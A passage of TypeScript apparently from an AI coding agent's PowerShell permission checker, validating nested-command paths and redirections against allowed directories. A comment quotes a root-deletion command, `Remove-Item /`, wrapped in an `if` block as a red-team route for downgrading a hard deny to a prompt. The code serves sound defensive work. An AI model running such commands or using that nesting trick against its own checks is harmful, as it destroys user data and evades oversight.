const canonical = resolveToCanonical(cmd.name)
firstAsk ??= {
behavior: 'ask',
message: `${canonical} uses a parameter or complex path expression (array literal, subexpression, unknown parameter, etc.) that cannot be statically validated and requires manual approval`,
}
// Don't continue β fall through to path loop for deny checks.
}
// SECURITY: Write cmdlet with zero extracted paths (mirrors main loop).
// optionalWrite cmdlets exempt β see main-loop comment.
if (
operationType !== 'read' &&
!optionalWrite &&
paths.length === 0 &&
CMDLET_PATH_CONFIG[resolveToCanonical(cmd.name)]
) {
const canonical = resolveToCanonical(cmd.name)
firstAsk ??= {
behavior: 'ask',
message: `${canonical} is a write operation but no target path could be determined; requires manual approval`,
}
continue
}
// SECURITY: bash-parity hard-deny for removal on system-critical
// paths β mirror the main-loop check above. Without this,
// `if ($true) { Remove-Item / }` routes through nestedCommands and
// downgrades denyβask, letting the user approve root deletion.
const isRemoval = resolveToCanonical(cmd.name) === 'remove-item'
for (const filePath of paths) {
// Check the RAW path first (pre-realpath); see main-loop comment.
if (isRemoval && isDangerousRemovalRawPath(filePath)) {
return dangerousRemovalDeny(filePath)
}
const { allowed, resolvedPath, decisionReason } = validatePath(
filePath,
cwd,
toolPermissionContext,
operationType,
)
if (isRemoval && isDangerousRemovalPath(resolvedPath)) {
return dangerousRemovalDeny(resolvedPath)
}
if (!allowed) {
const canonical = resolveToCanonical(cmd.name)
const workingDirs = Array.from(
allWorkingDirectories(toolPermissionContext),
)
const dirListStr = formatDirectoryList(workingDirs)
const message =
decisionReason?.type === 'other' ||
decisionReason?.type === 'safetyCheck'
? decisionReason.reason
: `${canonical} targeting '${resolvedPath}' was blocked. For security, Claude Code may only access files in the allowed working directories for this session: ${dirListStr}.`
if (decisionReason?.type === 'rule') {
return {
behavior: 'deny',
message,
decisionReason,
}
}
const suggestions: PermissionUpdate[] = []
if (resolvedPath) {
if (operationType === 'read') {
const suggestion = createReadRuleSuggestion(
getDirectoryForPath(resolvedPath),
'session',
)
if (suggestion) {
suggestions.push(suggestion)
}
} else {
suggestions.push({
type: 'addDirectories',
directories: [getDirectoryForPath(resolvedPath)],
destination: 'session',
})
}
}
if (operationType === 'write' || operationType === 'create') {
suggestions.push({
type: 'setMode',
mode: 'acceptEdits',
destination: 'session',
})
}
firstAsk ??= {
behavior: 'ask',
message,
blockedPath: resolvedPath,
decisionReason,
suggestions,
}
}
}
// Red-team P11/P14: step 5 at powershellPermissions.ts:970 already
// catches this via the same synthetic-CommandExpressionAst mechanism β
// this is belt-and-suspenders so the nested loop doesn't rely on that
// accident. Placed AFTER the path loop so specific asks (blockedPath,
// suggestions) win via ??=.
if (hasExpressionPipelineSource) {
firstAsk ??= {
behavior: 'ask',
message: `${resolveToCanonical(cmd.name)} appears inside a control-flow or chain statement where piped expression sources cannot be statically validated and requires manual approval`,
}
}
}
}
// Check redirections on nested commands (e.g., from && / || chains)
if (statement.nestedCommands) {
for (const cmd of statement.nestedCommands) {
if (cmd.redirections) {
for (const redir of cmd.redirections) {
if (redir.isMerging) continue
if (!redir.target) continue
if (isNullRedirectionTarget(redir.target)) continue
const { allowed, resolvedPath, decisionReason } = validatePath(
redir.target,
cwd,
toolPermissionContext,
'create',
)
if (!allowed) {
const workingDirs = Array.from(
allWorkingDirectories(toolPermissionContext),
)
const dirListStr = formatDirectoryList(workingDirs)
const message =
decisionReason?.type === 'other' ||
decisionReason?.type === 'safetyCheck'
? decisionReason.reason
: `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`
if (decisionReason?.type === 'rule') {
return {
behavior: 'deny',
message,
decisionReason,
}
}
firstAsk ??= {
behavior: 'ask',
message,
blockedPath: resolvedPath,
decisionReason,
suggestions: [
{
type: 'addDirectories',
directories: [getDirectoryForPath(resolvedPath)],
destination: 'session',
},
],
}
}
}
}
}
}
// Check file redirections
if (statement.redirections) {
for (const redir of statement.redirections) {
if (redir.isMerging) continue
if (!redir.target) continue
if (isNullRedirectionTarget(redir.target)) continue
const { allowed, resolvedPath, decisionReason } = validatePath(
redir.target,
cwd,
toolPermissionContext,
'create',
)
if (!allowed) {
const workingDirs = Array.from(
allWorkingDirectories(toolPermissionContext),
)
const dirListStr = formatDirectoryList(workingDirs)
const message =
decisionReason?.type === 'other' ||
decisionReason?.type === 'safetyCheck'
? decisionReason.reason
: `Output redirection to '${resolvedPath}' was blocked. For security, Claude Code may only write to files in the allowed working directories for this session: ${dirListStr}.`
if (decisionReason?.type === 'rule') {
return {
behavior: 'deny',
message,
decisionReason,
}
}
firstAsk ??= {
behavior: 'ask',
message,
blockedPath: resolvedPath,
decisionReason,
suggestions: [
{
type: 'addDirectories',
directories: [getDirectoryForPath(resolvedPath)],
destination: 'session',
},
],
}
}
}
}
return (
firstAsk ?? {
behavior: 'passthrough',
message: 'All path constraints validated successfully',
}
)
}
|